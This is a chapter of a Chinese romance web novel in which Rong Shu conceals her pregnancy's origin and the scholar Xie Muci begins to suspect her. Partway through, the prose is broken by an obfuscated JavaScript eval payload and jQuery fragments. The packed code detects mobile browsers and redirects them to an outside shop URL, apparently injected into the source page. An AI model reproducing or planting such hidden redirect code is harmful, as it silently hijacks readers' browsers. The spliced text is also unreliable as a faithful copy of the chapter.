35. 怀疑
作品:《误欺清冷少师》 容姝看着插科打诨的三人,突然意识到一个问题,那就是在他们三人眼里,她腹中孩子的来历各不相同。
萧如晖知道全部真相,何棠微坚信传言中的片面真相,容昭知道真相的前因。
所以容昭加何棠微等于萧如晖。
所以作为当事人的她,不应该与三人聚在一起,但凡深入聊起这个话题就会漏了底。
“容姝,你那肚子里的小鼻屎真是谢少师的?据我所知那不是……”容昭忽然想起他今天是来上门问罪的。
还真是怕什么来什么!
容姝赶紧抬脚在桌底下踢他,又朝他眨眼睛示意别说也别问。
“你踢我作甚?”萧如晖无辜地眨眼,她嘴巴严的很,自然不会乱说。
何棠微接过话茬,“自然是谢先生的,先生都将他们接回府了,那还有假?”
容姝瞪着容昭,“一时半会跟你也说不清楚,有些事儿你少问。”
容昭怒了,“当初要不是小爷我,哪还有现在的小鼻屎!”
“什么鼻屎不鼻屎的,这是你小外甥,说话再这么粗俗,我就不理你了!”容姝仰着脖子,不甘示弱。
萧如晖见俩人又掐起来了,赶紧拽着何棠微起身,“我们先走了,下次再来找你玩。”
俩人来也匆匆去也匆匆,消失如风。
容昭稍微冷静后道:“他们让小爷我传话,小鼻屎要是真姓谢,就让他快点上门提亲。”
“我们容家被冷嘲热讽了这么久,现下他们知道这个消息别提有多高兴了,恨不得敲锣打鼓直接蹦到谢府,将人拉回去做女婿。”
他说得口干舌燥,直接对着茶壶咕噜而尽,“你还别说,到时小爷我面上也倍有面儿,能有这么一个学识渊博的姐夫。”
“你终于承认我是你姐了?”容姝冷不丁来了一句。
“……”容昭手脚一滞,大意了。
“关于这个孩子你不要多问,他们若问起,你只说我什么都不告诉你。至于婚嫁之事,让他们早些收起这个心思,先生是不会与我成婚的。”容姝垂下眸子。
容昭思考着她的话,合理推断:“所以说这个孩子还是那个混账山匪的,他只是好心收留了你?”
想起谢慕辞将她接进府的目的,容姝权衡下咬牙说:“就是谢慕辞的,别问了行不行!”
“即便是他的,他也不会娶我,你回去吧,问得我心烦。”
“好,你既然不肯跟我说实话,那小爷我就自己去问他!”容昭利落起身,风一般席卷而出。
“你!别——”容姝跟着起身,还来不及唤他,眨眼间就不见他人影了。
“混账东西!真不让省心。”容姝气得肚子有些不舒服,摆手道:“算了,先生既然让我来了,自然有周全的应对之策。”
她可不敢跟容家坦白这孩子的来历,以他们那攀龙附凤的性子,知道了还不得来谢府逼宫,闹得大家都难堪。
外院,谢慕辞正弯着腰修剪坛中花枝。
容昭在他跟前三尺处刹住,试探性地喊:“姐夫?”
“嗯?”谢慕辞顿住剪子,抬眸瞧他。
“你真是我姐夫?那孩子是你的?”容昭礼貌追问。
他平时虽然浑了些,遇着正儿八经的先生还是颇为恭敬有礼的。
“嗯。”谢慕辞继续将乱出的花枝剪掉,面色沉静,看不出情绪。
“不对啊,算算时间应该是去青州那次……”虽然他回答得很干脆,容昭还是觉得哪里不对劲,可脑汁都快绞尽了也没想出个所以然来。
谢慕辞“咔嚓”一下,剪断了一个长有花苞的粗枝,正身问:“青州?何时去的?”
容昭惊觉自己说漏了嘴,万一他知晓了容姝曾被山匪侮辱过的事,厌恶她怎么办?
关于她肚子孩子到底是谁的这件事,现下他已经彻底被绕晕了。转念一想,不管是谁的,他可不都是那小鼻屎的亲舅舅嘛!
容昭吁了一口气,瞬间释怀不少。
“没什么,我记错了,现在你是姐夫,孩子不管是不是你的,也都是你的。”
“……”
“那你们什么时候成婚?”容姝那个缺心眼的,人家说不成婚她就不成婚吗!
“等孩子落地,谢某得空带她回焦州见过家中长辈再作商议。”谢慕辞说着早就想好的应对托词。
“你为人师长可得说话算话!别到时候翻脸不认人。”
“嗯,自然。”
“那我先走了,别欺负容姝,她会偷偷哭的。”容昭一时也想不出还有什么要交代的,打过招呼便走了。
谢慕辞净手后唤来言慎,“你差人暗中去查下容二娘子近一年的动向,包括曾与哪些郎君有过接触。”
“尤其是去年夏初那段时间。”
青州离上京约有千里,若想抄近道,必会经过莫山一带。而从那莫山大当家嘴里只问出他劫的东西出自上京,并不知晓车驾主人身份。
若容姝在初夏之际出过远门,有没有可能被劫的就是她的车驾?
谢慕辞不敢细想,一切只能等调查清楚后再说。
-
容姝在自己屋里用过晚膳后,见隔壁谢慕辞的主屋中亮着灯,想了想便走了过来。
秦婆体恤她身子重,每日都差代珠将膳食端进她屋里用。虽然容姝心里是想跟谢慕辞一起去浮生堂用膳的,但也不好拂了秦婆美意。
“先生,你在屋里吗?用过晚膳了吗?”谢慕辞挑食得厉害,也不知道他最近有没有好好吃饭。
她若不是身子日益渐重,又成日忙着读书习文,自然会亲自下厨给他做些吃食。据她观察,他似乎对自己做的饭菜格外青睐,从未挑剔。
“先生,我肚子有些不舒服,你能不能替我瞧瞧?”
须臾,谢慕辞走过来打开门。
只见一只叽叽喳喳的,裹着厚重衣裳的小胖鸟,正扣着大门框翘首以盼。
“何事?”
“先生,你……你怎么了?”容姝见他本就白如春雪的面上又苍白了几分,绯唇之上没有半分血色。
眉间微蹙,墨发随意散在身侧,只着单薄长衫的身子似乎在冒着寒气。
“你又犯病了?”想起莫山那夜,他就是这般浑身发寒的。
“你知道些什么?”谢慕辞眸色一冷,是蒋元齐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102413|194932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
告诉她的,还是……
容姝哪顾得上回来他的问题,赶紧拉住他的手,将人往屋里推,“呀,手这么冰,先生快回屋,夜风寒凉。”
她抬起后脚一蹬,“咚”地一下将房门阖上。
谢慕辞挑眉试探:“容二娘子又要趁人之危?”
握着他的小手又软又热,一只手不够,竟将另一只手也塞进他手心中,生生将他推到圆凳上坐下。
“又?”容姝顿住,心中警铃大响,狐疑地瞧着他。
谢慕辞没做解释,翻手摸向她腕间,沉息片刻后道:“这个月份的孩子好动很正常,没什么大碍。”
“那先生你呢?”容姝一脸关切。
“陈年旧疾,无妨。”谢慕辞神色很淡,似乎在说一件与己无关的事。
“怎会无妨?先生当好好将养身体才是。”
有没有妨她能不清楚吗?那般颠鸾倒凤也不见他醒过来。
谢慕辞日日吃着丹丸,已经半年没发症,今日也不知是怎么了,身子突然就泛冷。
“你出去吧,谢某要休息了。”
“不行!我得看着你!”万一又像上次那样,后果不堪后想。
“嘶——”容姝突然想到一种可能,立下头皮发麻,浑身发软。
她一屁股坐到谢慕辞旁边凳上,不依不饶地捂住他的双手,皱着一张脸问:“先生,你有几个孩子?”
“?”
谢慕辞黑着脸拽出自己的手,身形微晃着起身,扶着桌沿斥道:“问得什么混账话,出去!”
容姝立下脖子一缩,“没有就没有吧,是我多嘴了,先生别生气。”
谢慕辞不再理她,自行走入内间,靠在榻上休息。
容姝这才抬眼打量谢慕辞的屋子,宽敞素雅,布景有致,中堂隔着一扇山水泼墨屏风,灯烛昏暗,青帐微曳,里间看不分明。
“我去替你再取些暖炉来。”
里面没有声响,容姝自顾自地回到自己隔壁的屋子,一手一只,将两个暖炉都拎了来。
“先生,我进来咯。”容姝踩着小碎步,堂而皇之地走了进去。
只见谢慕辞正阖着眼眸躺在床榻上,侧颜如玉,墨发似瀑,一如初见时那般的清冷破碎,惊为天人。
容姝将暖炉都摆到他跟前,确认他只是在昏睡,便替他掖好被子静静退至一旁。
屋里有股药味,他应该自行用过药了,容姝的心稍稍安下了些。
内室简单整洁,扫视一圈也未瞧见有熏香,想来他身上好闻的气息并非是刻意熏香,而是常年服药所致。
思及此,容姝的心揪成一团,又是心疼又是愧疚。
虽说那夜她也是身不由己,一切都是为了能活命,但到底还是对清冷无暇的他做了那不耻之事,他内心定然是愤怒难堪的。
她亏欠他的,该如何弥补?
腹中孩子感知到她的情绪,踢了她几脚,容姝抬手轻轻安抚,眼尾泛着红意,看着昏睡着的谢慕辞小声问:“先生,你会原谅我吗?”
榻上人眼睫微动,被褥下的指节紧紧捏在一起。
她这话是什么意思,难道真的是她?

